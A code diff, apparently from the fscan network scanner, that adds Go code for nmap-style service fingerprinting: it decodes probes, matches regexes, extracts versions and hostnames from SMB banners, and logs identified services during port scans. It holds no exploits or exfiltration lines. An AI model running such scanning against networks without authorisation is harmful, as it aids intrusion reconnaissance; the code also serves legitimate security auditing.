Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchPattern 使用正则表达式匹配响应内容
|
||||
func (m *Match) MatchPattern(response []byte) bool {
|
||||
// 将响应转换为字符串并进行匹配
|
||||
responseStr := string([]rune(string(response)))
|
||||
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||
|
||||
if len(foundItems) > 0 {
|
||||
m.FoundItems = foundItems
|
||||
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||
Common.LogDebug("开始解析版本信息")
|
||||
var extras = Extras{}
|
||||
|
||||
// 替换版本信息中的占位符
|
||||
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||
versionInfo := m.VersionInfo
|
||||
for index, value := range foundItems {
|
||||
dollarName := "$" + strconv.Itoa(index+1)
|
||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||
}
|
||||
Common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||
|
||||
// 定义解析函数
|
||||
parseField := func(field, pattern string) string {
|
||||
patterns := []string{
|
||||
pattern + `/([^/]*)/`, // 斜线分隔
|
||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||
}
|
||||
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(versionInfo, pattern) {
|
||||
regex := regexp.MustCompile(p)
|
||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
extras.VendorProduct = parseField("厂商产品", " p")
|
||||
extras.Version = parseField("版本", " v")
|
||||
extras.Info = parseField("信息", " i")
|
||||
extras.Hostname = parseField("主机名", " h")
|
||||
extras.OperatingSystem = parseField("操作系统", " o")
|
||||
extras.DeviceType = parseField("设备类型", " d")
|
||||
|
||||
// 特殊处理CPE
|
||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||
for _, pattern := range cpePatterns {
|
||||
regex := regexp.MustCompile(pattern)
|
||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||
if len(cpeName) > 1 {
|
||||
extras.CPE = cpeName[1]
|
||||
} else {
|
||||
extras.CPE = cpeName[0]
|
||||
}
|
||||
Common.LogDebug("解析到CPE: " + extras.CPE)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extras
|
||||
}
|
||||
|
||||
// ToMap 将 Extras 转换为 map[string]string
|
||||
func (e *Extras) ToMap() map[string]string {
|
||||
Common.LogDebug("开始转换Extras为Map")
|
||||
result := make(map[string]string)
|
||||
|
||||
// 定义字段映射
|
||||
fields := map[string]string{
|
||||
"vendor_product": e.VendorProduct,
|
||||
"version": e.Version,
|
||||
"info": e.Info,
|
||||
"hostname": e.Hostname,
|
||||
"os": e.OperatingSystem,
|
||||
"device_type": e.DeviceType,
|
||||
"cpe": e.CPE,
|
||||
}
|
||||
|
||||
// 添加非空字段到结果map
|
||||
for key, value := range fields {
|
||||
if value != "" {
|
||||
result[key] = value
|
||||
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||
return result
|
||||
}
|
||||
|
||||
func DecodeData(s string) ([]byte, error) {
|
||||
if len(s) == 0 {
|
||||
Common.LogDebug("输入数据为空")
|
||||
return nil, fmt.Errorf("empty input")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||
return replace
|
||||
}
|
||||
return match
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||
return match
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||
if len(match) < 2 {
|
||||
return match
|
||||
}
|
||||
if isOtherEscapeCode(match) {
|
||||
return []byte{match[1]}
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
if len(sByteDec2) == 0 {
|
||||
Common.LogDebug("解码后数据为空")
|
||||
return nil, fmt.Errorf("decoded data is empty")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// GetAddress 获取目标的完整地址(IP:端口)
|
||||
func (t *Target) GetAddress() string {
|
||||
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||
Common.LogDebug("获取目标地址: " + addr)
|
||||
return addr
|
||||
}
|
||||
|
||||
// trimBanner 处理和清理横幅数据
|
||||
func trimBanner(buf []byte) string {
|
||||
Common.LogDebug("开始处理横幅数据")
|
||||
bufStr := string(buf)
|
||||
|
||||
// 特殊处理SMB协议
|
||||
if strings.Contains(bufStr, "SMB") {
|
||||
banner := hex.EncodeToString(buf)
|
||||
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||
Common.LogDebug("检测到SMB协议数据")
|
||||
plain := banner[0xa2:]
|
||||
data, err := hex.DecodeString(plain)
|
||||
if err != nil {
|
||||
Common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||
return bufStr
|
||||
}
|
||||
|
||||
// 解析domain
|
||||
var domain string
|
||||
var index int
|
||||
for i, s := range data {
|
||||
if s != 0 {
|
||||
domain += string(s)
|
||||
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||
index = i + 2
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析hostname
|
||||
var hostname string
|
||||
remainData := data[index:]
|
||||
for i, h := range remainData {
|
||||
if h != 0 {
|
||||
hostname += string(h)
|
||||
}
|
||||
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||
Common.LogDebug("SMB横幅: " + smbBanner)
|
||||
return smbBanner
|
||||
}
|
||||
}
|
||||
|
||||
// 处理常规数据
|
||||
var src string
|
||||
for _, ch := range bufStr {
|
||||
if ch > 32 && ch < 125 {
|
||||
src += string(ch)
|
||||
} else {
|
||||
src += " "
|
||||
}
|
||||
}
|
||||
|
||||
// 清理多余空白
|
||||
re := regexp.MustCompile(`\s{2,}`)
|
||||
src = re.ReplaceAllString(src, ".")
|
||||
result := strings.TrimSpace(src)
|
||||
Common.LogDebug("处理后的横幅: " + result)
|
||||
return result
|
||||
}
|
||||
|
||||
// Init 初始化VScan对象
|
||||
func (v *VScan) Init() {
|
||||
Common.LogDebug("开始初始化VScan")
|
||||
v.parseProbesFromContent(ProbeString)
|
||||
v.parseProbesToMapKName()
|
||||
v.SetusedProbes()
|
||||
Common.LogDebug("VScan初始化完成")
|
||||
}
|
472
Core/PortInfo.go
Normal file
472
Core/PortInfo.go
Normal file
@ -0,0 +1,472 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 服务信息结构
|
||||
type ServiceInfo struct {
|
||||
Name string // 服务名称
|
||||
Banner string // 服务横幅
|
||||
Version string // 版本信息
|
||||
Extras map[string]string // 额外信息
|
||||
}
|
||||
|
||||
// Result 结构体
|
||||
type Result struct {
|
||||
Service Service
|
||||
Banner string
|
||||
Extras map[string]string
|
||||
Send []byte // 发送的数据
|
||||
Recv []byte // 接收到的数据
|
||||
}
|
||||
|
||||
type Service struct {
|
||||
Name string
|
||||
Extras map[string]string
|
||||
}
|
||||
|
||||
// 扫描器相关结构
|
||||
type Info struct {
|
||||
Address string
|
||||
Port int
|
||||
Conn net.Conn
|
||||
Result Result
|
||||
Found bool
|
||||
}
|
||||
|
||||
type PortInfoScanner struct {
|
||||
Address string
|
||||
Port int
|
||||
Conn net.Conn
|
||||
Timeout time.Duration
|
||||
info *Info
|
||||
}
|
||||
|
||||
// 预定义探测器
|
||||
var (
|
||||
null = new(Probe)
|
||||
common = new(Probe)
|
||||
)
|
||||
|
||||
// NewPortInfoScanner 创建新的端口服务识别器
|
||||
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||
return &PortInfoScanner{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Timeout: timeout,
|
||||
info: &Info{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Result: Result{
|
||||
Service: Service{},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Identify 识别端口服务
|
||||
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
|
||||
s.info.PortInfo()
|
||||
|
||||
// 转换识别结果
|
||||
serviceInfo := &ServiceInfo{
|
||||
Name: s.info.Result.Service.Name,
|
||||
Banner: s.info.Result.Banner,
|
||||
Version: s.info.Result.Service.Extras["version"],
|
||||
Extras: make(map[string]string),
|
||||
}
|
||||
|
||||
// 复制额外信息
|
||||
for k, v := range s.info.Result.Service.Extras {
|
||||
serviceInfo.Extras[k] = v
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
|
||||
return serviceInfo, nil
|
||||
}
|
||||
|
||||
// PortInfo 用于获取端口服务信息
|
||||
func (i *Info) PortInfo() {
|
||||
// 首次尝试读取响应
|
||||
if response, err := i.Read(); err == nil && len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
|
||||
|
||||
// 依次使用 null 和 common 探测器检查响应
|
||||
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
|
||||
if i.tryProbes(response, []*Probe{null, common}) {
|
||||
Common.LogDebug("基础探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("基础探测器未匹配")
|
||||
} else if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
|
||||
}
|
||||
|
||||
// 记录已使用的探测器
|
||||
usedProbes := make(map[string]struct{})
|
||||
|
||||
// 处理特定端口映射的探测
|
||||
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
|
||||
if i.processPortMapProbes(usedProbes) {
|
||||
Common.LogDebug("端口专用探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("端口专用探测器未匹配")
|
||||
|
||||
// 使用默认探测器进行检测
|
||||
Common.LogDebug("尝试使用默认探测器列表")
|
||||
if i.processDefaultProbes(usedProbes) {
|
||||
Common.LogDebug("默认探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("默认探测器未匹配")
|
||||
|
||||
// 如果未能识别服务,标记为未知
|
||||
if strings.TrimSpace(i.Result.Service.Name) == "" {
|
||||
Common.LogDebug("未识别出服务,标记为 unknown")
|
||||
i.Result.Service.Name = "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// tryProbes 尝试使用给定的探测器列表检查响应
|
||||
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
|
||||
for _, probe := range probes {
|
||||
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
|
||||
i.GetInfo(response, probe)
|
||||
if i.Found {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processPortMapProbes 处理端口映射中的探测器
|
||||
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
|
||||
if len(Common.PortMap[i.Port]) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
|
||||
return false
|
||||
}
|
||||
|
||||
for _, name := range Common.PortMap[i.Port] {
|
||||
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
|
||||
usedProbes[name] = struct{}{}
|
||||
probe := v.ProbesMapKName[name]
|
||||
|
||||
// 解码探测数据
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
|
||||
continue
|
||||
}
|
||||
|
||||
// 建立连接获取响应
|
||||
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
|
||||
if response := i.Connect(probeData); len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processDefaultProbes 处理默认探测器
|
||||
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
|
||||
failCount := 0
|
||||
const maxFailures = 10
|
||||
|
||||
for _, name := range Common.DefaultMap {
|
||||
// 跳过已使用的探测器
|
||||
if _, used := usedProbes[name]; used {
|
||||
continue
|
||||
}
|
||||
|
||||
probe := v.ProbesMapKName[name]
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 建立连接获取响应
|
||||
response := i.Connect(probeData)
|
||||
if len(response) == 0 {
|
||||
failCount++
|
||||
if failCount > maxFailures {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试使用端口映射中的其他探测器
|
||||
if len(Common.PortMap[i.Port]) > 0 {
|
||||
for _, mappedName := range Common.PortMap[i.Port] {
|
||||
usedProbes[mappedName] = struct{}{}
|
||||
mappedProbe := v.ProbesMapKName[mappedName]
|
||||
i.GetInfo(response, &mappedProbe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetInfo 分析响应数据并获取服务信息
|
||||
func (i *Info) GetInfo(response []byte, probe *Probe) {
|
||||
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
|
||||
|
||||
// 响应数据长度检查
|
||||
if len(response) <= 0 {
|
||||
Common.LogDebug("响应数据为空")
|
||||
return
|
||||
}
|
||||
|
||||
result := &i.Result
|
||||
var (
|
||||
softMatch Match
|
||||
softFound bool
|
||||
)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
|
||||
// 处理主要匹配规则
|
||||
if matched, match := i.processMatches(response, probe.Matchs); matched {
|
||||
Common.LogDebug("找到硬匹配")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
|
||||
// 处理回退匹配规则
|
||||
if probe.Fallback != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
|
||||
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
|
||||
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
|
||||
Common.LogDebug("回退匹配成功")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到回退软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理未找到匹配的情况
|
||||
if !i.Found {
|
||||
Common.LogDebug("未找到硬匹配,处理未匹配情况")
|
||||
i.handleNoMatch(response, result, softFound, softMatch)
|
||||
}
|
||||
}
|
||||
|
||||
// processMatches 处理匹配规则集
|
||||
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
|
||||
var softMatch *Match
|
||||
|
||||
for _, match := range *matches {
|
||||
if !match.MatchPattern(response) {
|
||||
continue
|
||||
}
|
||||
|
||||
if !match.IsSoft {
|
||||
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
|
||||
i.handleHardMatch(response, &match)
|
||||
return true, nil
|
||||
} else if softMatch == nil {
|
||||
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
|
||||
tmpMatch := match
|
||||
softMatch = &tmpMatch
|
||||
}
|
||||
}
|
||||
|
||||
return false, softMatch
|
||||
}
|
||||
|
||||
// handleHardMatch 处理硬匹配结果
|
||||
func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
|
||||
result := &i.Result
|
||||
extras := match.ParseVersionInfo(response)
|
||||
extrasMap := extras.ToMap()
|
||||
|
||||
result.Service.Name = match.Service
|
||||
result.Extras = extrasMap
|
||||
result.Banner = trimBanner(response)
|
||||
result.Service.Extras = extrasMap
|
||||
|
||||
// 特殊处理 microsoft-ds 服务
|
||||
if result.Service.Name == "microsoft-ds" {
|
||||
Common.LogDebug("特殊处理 microsoft-ds 服务")
|
||||
result.Service.Extras["hostname"] = result.Banner
|
||||
}
|
||||
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
|
||||
}
|
||||
|
||||
// handleNoMatch 处理未找到匹配的情况
|
||||
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||
Common.LogDebug("处理未匹配情况")
|
||||
result.Banner = trimBanner(response)
|
||||
|
||||
if !softFound {
|
||||
// 尝试识别 HTTP 服务
|
||||
if strings.Contains(result.Banner, "HTTP/") ||
|
||||
strings.Contains(result.Banner, "html") {
|
||||
Common.LogDebug("识别为HTTP服务")
|
||||
result.Service.Name = "http"
|
||||
} else {
|
||||
Common.LogDebug("未知服务")
|
||||
result.Service.Name = "unknown"
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("使用软匹配结果")
|
||||
extras := softMatch.ParseVersionInfo(response)
|
||||
result.Service.Extras = extras.ToMap()
|
||||
result.Service.Name = softMatch.Service
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 发送数据并获取响应
|
||||
func (i *Info) Connect(msg []byte) []byte {
|
||||
i.Write(msg)
|
||||
reply, _ := i.Read()
|
||||
return reply
|
||||
}
|
||||
|
||||
const WrTimeout = 5 // 默认超时时间(秒)
|
||||
|
||||
// Write 写入数据到连接
|
||||
func (i *Info) Write(msg []byte) error {
|
||||
if i.Conn == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置写入超时
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 写入数据
|
||||
_, err := i.Conn.Write(msg)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
i.Conn.Close()
|
||||
// 重试连接
|
||||
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||
if err == nil {
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
_, err = i.Conn.Write(msg)
|
||||
}
|
||||
}
|
||||
|
||||
// 记录发送的数据
|
||||
if err == nil {
|
||||
i.Result.Send = msg
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// Read 从连接读取响应
|
||||
func (i *Info) Read() ([]byte, error) {
|
||||
if i.Conn == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// 设置读取超时
|
||||
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 读取数据
|
||||
result, err := readFromConn(i.Conn)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
// 连接关闭的错误处理
|
||||
return result, err
|
||||
}
|
||||
|
||||
// 记录接收到的数据
|
||||
if len(result) > 0 {
|
||||
i.Result.Recv = result
|
||||
}
|
||||
|
||||
return result, err
|
||||
}
|
||||
|
||||
// readFromConn 从连接读取数据的辅助函数
|
||||
func readFromConn(conn net.Conn) ([]byte, error) {
|
||||
size := 2 * 1024
|
||||
var result []byte
|
||||
|
||||
for {
|
||||
buf := make([]byte, size)
|
||||
count, err := conn.Read(buf)
|
||||
|
||||
if count > 0 {
|
||||
result = append(result, buf[:count]...)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
if err == io.EOF {
|
||||
return result, nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
if count < size {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
@ -11,6 +11,7 @@ import (
|
||||
"net"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
@ -21,15 +22,23 @@ type Addr struct {
|
||||
port int // 端口号
|
||||
}
|
||||
|
||||
// ScanResult 扫描结果
|
||||
type ScanResult struct {
|
||||
Address string // IP地址
|
||||
Port int // 端口号
|
||||
Service *ServiceInfo // 服务信息
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
var results []ScanResult
|
||||
var aliveAddrs []string // 新增:存储活跃地址
|
||||
var mu sync.Mutex
|
||||
|
||||
// 解析端口列表
|
||||
probePorts := Common.ParsePort(ports)
|
||||
if len(probePorts) == 0 {
|
||||
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
|
||||
return AliveAddress
|
||||
return aliveAddrs
|
||||
}
|
||||
|
||||
// 排除指定端口
|
||||
@ -38,7 +47,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
// 创建通道
|
||||
workers := Common.ThreadNum
|
||||
addrs := make(chan Addr, 100)
|
||||
results := make(chan string, 100)
|
||||
scanResults := make(chan ScanResult, 100)
|
||||
var wg sync.WaitGroup
|
||||
var workerWg sync.WaitGroup
|
||||
|
||||
@ -48,7 +57,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
go func() {
|
||||
defer workerWg.Done()
|
||||
for addr := range addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
PortConnect(addr, scanResults, timeout, &wg)
|
||||
}
|
||||
}()
|
||||
}
|
||||
@ -58,9 +67,12 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
resultWg.Add(1)
|
||||
go func() {
|
||||
defer resultWg.Done()
|
||||
for result := range results {
|
||||
for result := range scanResults {
|
||||
mu.Lock()
|
||||
AliveAddress = append(AliveAddress, result)
|
||||
results = append(results, result)
|
||||
// 构造活跃地址字符串
|
||||
aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port)
|
||||
aliveAddrs = append(aliveAddrs, aliveAddr)
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
@ -76,24 +88,23 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
close(addrs)
|
||||
workerWg.Wait()
|
||||
wg.Wait()
|
||||
close(results)
|
||||
close(scanResults)
|
||||
resultWg.Wait()
|
||||
|
||||
return AliveAddress
|
||||
return aliveAddrs
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
|
||||
func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
|
||||
var isOpen bool
|
||||
var err error
|
||||
var conn net.Conn
|
||||
|
||||
if Common.UseSynScan {
|
||||
// SYN扫描
|
||||
isOpen, err = SynScan(addr.ip, addr.port, timeout)
|
||||
} else {
|
||||
// 标准TCP扫描
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp4",
|
||||
conn, err = Common.WrapperTcpWithTimeout("tcp4",
|
||||
fmt.Sprintf("%s:%v", addr.ip, addr.port),
|
||||
time.Duration(timeout)*time.Second)
|
||||
if err == nil {
|
||||
@ -106,10 +117,57 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy
|
||||
return
|
||||
}
|
||||
|
||||
// 记录开放端口
|
||||
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
|
||||
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
|
||||
respondingHosts <- address
|
||||
|
||||
// 创建扫描结果
|
||||
result := ScanResult{
|
||||
Address: addr.ip,
|
||||
Port: addr.port,
|
||||
}
|
||||
|
||||
// 进行服务识别
|
||||
if conn != nil {
|
||||
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
|
||||
if serviceInfo, err := scanner.Identify(); err == nil {
|
||||
result.Service = serviceInfo
|
||||
|
||||
// 打印服务识别信息
|
||||
var logMsg strings.Builder
|
||||
logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address))
|
||||
|
||||
// 添加服务名称
|
||||
if serviceInfo.Name != "unknown" {
|
||||
logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name))
|
||||
}
|
||||
|
||||
// 添加版本信息
|
||||
if serviceInfo.Version != "" {
|
||||
logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version))
|
||||
}
|
||||
|
||||
// 添加其他有用的信息
|
||||
if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" {
|
||||
logMsg.WriteString(fmt.Sprintf(" 产品:%s", v))
|
||||
}
|
||||
if v, ok := serviceInfo.Extras["os"]; ok && v != "" {
|
||||
logMsg.WriteString(fmt.Sprintf(" 系统:%s", v))
|
||||
}
|
||||
if v, ok := serviceInfo.Extras["info"]; ok && v != "" {
|
||||
logMsg.WriteString(fmt.Sprintf(" 信息:%s", v))
|
||||
}
|
||||
|
||||
// 如果有Banner且长度合适,也输出
|
||||
if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 {
|
||||
logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner)))
|
||||
}
|
||||
|
||||
Common.LogSuccess(logMsg.String())
|
||||
}
|
||||
}
|
||||
|
||||
// 发送结果
|
||||
results <- result
|
||||
}
|
||||
|
||||
// NoPortScan 生成端口列表(不进行扫描)
|
||||
|
16624
Core/nmap-service-probes.txt
Normal file
16624
Core/nmap-service-probes.txt
Normal file
File diff suppressed because it is too large
Load Diff
@ -8,7 +8,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// ActiveMQScan 执行 ActiveMQ 服务扫描
|
||||
